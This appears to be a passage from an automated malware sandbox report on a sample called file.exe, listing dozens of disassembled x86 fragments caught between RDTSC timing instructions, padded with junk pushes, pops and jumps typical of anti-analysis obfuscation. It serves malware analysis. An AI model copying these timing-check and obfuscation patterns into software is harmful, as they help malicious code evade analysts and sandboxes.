Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F09B4 second address: 73F0A79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-10h] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F1CE4D7C4A3h 0x00000012 sbb eax, 690D66CEh 0x00000018 jmp 00007F1CE4D7C4A9h 0x0000001d popfd 0x0000001e mov ch, A8h 0x00000020 popad 0x00000021 push ecx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F1CE4D7C4A6h 0x00000029 sub ecx, 4E0DFA78h 0x0000002f jmp 00007F1CE4D7C49Bh 0x00000034 popfd 0x00000035 pushfd 0x00000036 jmp 00007F1CE4D7C4A8h 0x0000003b xor esi, 7A5814D8h 0x00000041 jmp 00007F1CE4D7C49Bh 0x00000046 popfd 0x00000047 popad 0x00000048 mov dword ptr [esp], eax 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e pushfd 0x0000004f jmp 00007F1CE4D7C4A2h 0x00000054 sub esi, 72FEDF38h 0x0000005a jmp 00007F1CE4D7C49Bh 0x0000005f popfd 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0BE5 second address: 73F0C0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F122h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b pushad 0x0000000c mov dl, cl 0x0000000e mov ax, di 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 mov edx, ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 mov edx, esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0C0C second address: 73F0C26 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1CE4D7C49Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0C26 second address: 73F0C3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F121h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0C3B second address: 73F0C96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1CE4D7C4A7h 0x00000009 sbb cx, BA2Eh 0x0000000e jmp 00007F1CE4D7C4A9h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 lea eax, dword ptr [ebp-08h] 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F1CE4D7C4A9h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0C96 second address: 73F0CC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F121h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1CE475F128h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0CC8 second address: 73F0CCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0CCC second address: 73F0CD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0CD2 second address: 73F0CD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0CD8 second address: 73F0D0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F128h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F1CE475F11Bh 0x00000011 nop 0x00000012 pushad 0x00000013 mov esi, 09435D5Bh 0x00000018 push eax 0x00000019 push edx 0x0000001a mov dx, ax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0D2E second address: 73F0D3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C49Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0D3D second address: 73F0D43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0D43 second address: 73F0D47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0D47 second address: 73F0DA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, eax 0x0000000a jmp 00007F1CE475F127h 0x0000000f test edi, edi 0x00000011 pushad 0x00000012 jmp 00007F1CE475F124h 0x00000017 mov edi, ecx 0x00000019 popad 0x0000001a js 00007F1D5216DA4Dh 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F1CE475F126h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0DA2 second address: 73F0DA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0DA6 second address: 73F0DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0DAC second address: 73F0DFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C49Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebp-04h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F1CE4D7C49Eh 0x00000013 add esi, 7D88CDD8h 0x00000019 jmp 00007F1CE4D7C49Bh 0x0000001e popfd 0x0000001f movzx esi, dx 0x00000022 popad 0x00000023 mov dword ptr [esi+08h], eax 0x00000026 pushad 0x00000027 mov edx, 4A6941B4h 0x0000002c mov di, C520h 0x00000030 popad 0x00000031 lea eax, dword ptr [ebx+70h] 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0DFE second address: 73F0E0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F11Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0E0E second address: 73F0E20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1CE4D7C49Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0E20 second address: 73F0E24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0E24 second address: 73F0E4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 00000001h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1CE4D7C4A9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0E4B second address: 73F0E4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0E4F second address: 73F0E55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0E55 second address: 73F0E6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F11Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0E6C second address: 73F0E70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0E70 second address: 73F0E8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F129h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0E8D second address: 73F0E93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0E93 second address: 73F0E97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0E97 second address: 73F0EE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F1CE4D7C4A6h 0x0000000e nop 0x0000000f jmp 00007F1CE4D7C4A0h 0x00000014 lea eax, dword ptr [ebp-18h] 0x00000017 jmp 00007F1CE4D7C4A0h 0x0000001c nop 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0EE1 second address: 73F0EE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0EE5 second address: 73F0F02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C4A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0F02 second address: 73F0F26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F121h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1CE475F11Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0F26 second address: 73F0F38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1CE4D7C49Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0FA0 second address: 73F0FDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F11Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test edi, edi 0x0000000b jmp 00007F1CE475F120h 0x00000010 js 00007F1D5216D805h 0x00000016 jmp 00007F1CE475F120h 0x0000001b mov eax, dword ptr [ebp-14h] 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0FDF second address: 73F0FFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C4A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0FFC second address: 73F1079 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F121h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, esi 0x0000000b jmp 00007F1CE475F11Eh 0x00000010 mov dword ptr [esi+0Ch], eax 0x00000013 pushad 0x00000014 mov esi, 1703A88Dh 0x00000019 pushad 0x0000001a push ecx 0x0000001b pop ebx 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f popad 0x00000020 mov edx, 74E806ECh 0x00000025 jmp 00007F1CE475F120h 0x0000002a sub eax, eax 0x0000002c jmp 00007F1CE475F121h 0x00000031 lock cmpxchg dword ptr [edx], ecx 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F1CE475F128h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F1079 second address: 73F107D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F107D second address: 73F1083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F1083 second address: 73F1089 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F1089 second address: 73F108D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F108D second address: 73F10DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 jmp 00007F1CE4D7C4A4h 0x0000000e test eax, eax 0x00000010 jmp 00007F1CE4D7C4A0h 0x00000015 jne 00007F1D5278AAB6h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F1CE4D7C4A7h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F10DB second address: 73F110A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F129h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1CE475F11Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F110A second address: 73F1130 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C4A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1CE4D7C49Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F1130 second address: 73F1166 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F121h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx], eax 0x0000000b jmp 00007F1CE475F11Eh 0x00000010 mov eax, dword ptr [esi+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F1CE475F11Ah 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F1166 second address: 73F116A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F116A second address: 73F1170 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F1170 second address: 73F11E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C49Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+04h], eax 0x0000000c jmp 00007F1CE4D7C4A0h 0x00000011 mov eax, dword ptr [esi+08h] 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F1CE4D7C49Eh 0x0000001b add eax, 198D5138h 0x00000021 jmp 00007F1CE4D7C49Bh 0x00000026 popfd 0x00000027 jmp 00007F1CE4D7C4A8h 0x0000002c popad 0x0000002d mov dword ptr [edx+08h], eax 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F1CE4D7C49Ah 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F11E4 second address: 73F11F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F11Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F11F3 second address: 73F120B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1CE4D7C4A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F120B second address: 73F1222 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi+0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1CE475F11Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F1329 second address: 73F136A instructions: 0x00000000 rdtsc 0x00000002 mov dx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007F1CE4D7C49Ah 0x0000000d mov ax, 4CB1h 0x00000011 popad 0x00000012 popad 0x00000013 mov dword ptr [edx+18h], eax 0x00000016 pushad 0x00000017 mov ah, E0h 0x00000019 pushad 0x0000001a mov ecx, edx 0x0000001c jmp 00007F1CE4D7C4A1h 0x00000021 popad 0x00000022 popad 0x00000023 mov eax, dword ptr [esi+1Ch] 0x00000026 pushad 0x00000027 mov ecx, 70C22F93h 0x0000002c push eax 0x0000002d push edx 0x0000002e mov ebx, ecx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F136A second address: 73F13D2 instructions: 0x00000000 rdtsc 0x00000002 mov esi, 3751E701h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [edx+1Ch], eax 0x0000000d jmp 00007F1CE475F11Ch 0x00000012 mov eax, dword ptr [esi+20h] 0x00000015 pushad 0x00000016 mov cl, E4h 0x00000018 mov si, di 0x0000001b popad 0x0000001c mov dword ptr [edx+20h], eax 0x0000001f pushad 0x00000020 jmp 00007F1CE475F11Bh 0x00000025 pushad 0x00000026 pushad 0x00000027 popad 0x00000028 jmp 00007F1CE475F124h 0x0000002d popad 0x0000002e popad 0x0000002f mov eax, dword ptr [esi+24h] 0x00000032 jmp 00007F1CE475F120h 0x00000037 mov dword ptr [edx+24h], eax 0x0000003a pushad 0x0000003b mov edx, ecx 0x0000003d push eax 0x0000003e push edx 0x0000003f mov ch, E7h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F13D2 second address: 73F146B instructions: 0x00000000 rdtsc 0x00000002 call 00007F1CE4D7C4A5h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [esi+28h] 0x0000000e pushad 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F1CE4D7C4A3h 0x00000016 and ah, FFFFFFFEh 0x00000019 jmp 00007F1CE4D7C4A9h 0x0000001e popfd 0x0000001f mov bx, ax 0x00000022 popad 0x00000023 pushfd 0x00000024 jmp 00007F1CE4D7C49Ch 0x00000029 sub cx, 1BF8h 0x0000002e jmp 00007F1CE4D7C49Bh 0x00000033 popfd 0x00000034 popad 0x00000035 mov dword ptr [edx+28h], eax 0x00000038 jmp 00007F1CE4D7C4A6h 0x0000003d mov ecx, dword ptr [esi+2Ch] 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 mov esi, edi 0x00000045 mov cx, dx 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F146B second address: 73F1516 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F122h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+2Ch], ecx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F1CE475F11Eh 0x00000013 xor ch, FFFFFFE8h 0x00000016 jmp 00007F1CE475F11Bh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F1CE475F128h 0x00000022 jmp 00007F1CE475F125h 0x00000027 popfd 0x00000028 popad 0x00000029 mov ax, word ptr [esi+30h] 0x0000002d jmp 00007F1CE475F11Eh 0x00000032 mov word ptr [edx+30h], ax 0x00000036 jmp 00007F1CE475F120h 0x0000003b mov ax, word ptr [esi+32h] 0x0000003f jmp 00007F1CE475F120h 0x00000044 mov word ptr [edx+32h], ax 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F1516 second address: 73F1587 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F1CE4D7C49Ah 0x00000008 sub cl, 00000038h 0x0000000b jmp 00007F1CE4D7C49Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushfd 0x00000014 jmp 00007F1CE4D7C4A8h 0x00000019 xor ah, FFFFFF98h 0x0000001c jmp 00007F1CE4D7C49Bh 0x00000021 popfd 0x00000022 popad 0x00000023 mov eax, dword ptr [esi+34h] 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007F1CE4D7C49Bh 0x0000002f jmp 00007F1CE4D7C4A3h 0x00000034 popfd 0x00000035 movzx esi, di 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F1587 second address: 73F15F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, F172h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [edx+34h], eax 0x0000000d jmp 00007F1CE475F129h 0x00000012 test ecx, 00000700h 0x00000018 pushad 0x00000019 push esi 0x0000001a mov dx, 681Eh 0x0000001e pop edi 0x0000001f movzx eax, dx 0x00000022 popad 0x00000023 jne 00007F1D5216D26Fh 0x00000029 jmp 00007F1CE475F127h 0x0000002e or dword ptr [edx+38h], FFFFFFFFh 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F1CE475F125h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F15F6 second address: 73F1630 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1CE4D7C4A7h 0x00000009 add ch, FFFFFF8Eh 0x0000000c jmp 00007F1CE4D7C4A9h 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F1630 second address: 73F1650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 or dword ptr [edx+3Ch], FFFFFFFFh 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1CE475F123h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F1650 second address: 73F1656 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F1656 second address: 73F165A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F165A second address: 73F165E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F165E second address: 73F1670 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 or dword ptr [edx+40h], FFFFFFFFh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F1670 second address: 73F1674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F1674 second address: 73F1678 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F1678 second address: 73F167E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F167E second address: 73F1699 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F11Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov edx, 29EB33D6h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73E09AE second address: 73E09C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1CE4D7C4A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73A0026 second address: 73A002C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73A002C second address: 73A0030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73A0030 second address: 73A0075 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F11Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov bl, DFh 0x0000000f call 00007F1CE475F120h 0x00000014 mov ah, 2Fh 0x00000016 pop edx 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F1CE475F129h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73A0075 second address: 73A00B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C4A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov esi, 6D68BAE3h 0x00000011 call 00007F1CE4D7C4A8h 0x00000016 mov edi, esi 0x00000018 pop esi 0x00000019 popad 0x0000001a pop ebp 0x0000001b pushad 0x0000001c movsx ebx, ax 0x0000001f push eax 0x00000020 push edx 0x00000021 mov cx, 0FB1h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73A0799 second address: 73A07AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 mov edx, 0D561BD6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73A07AD second address: 73A07B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
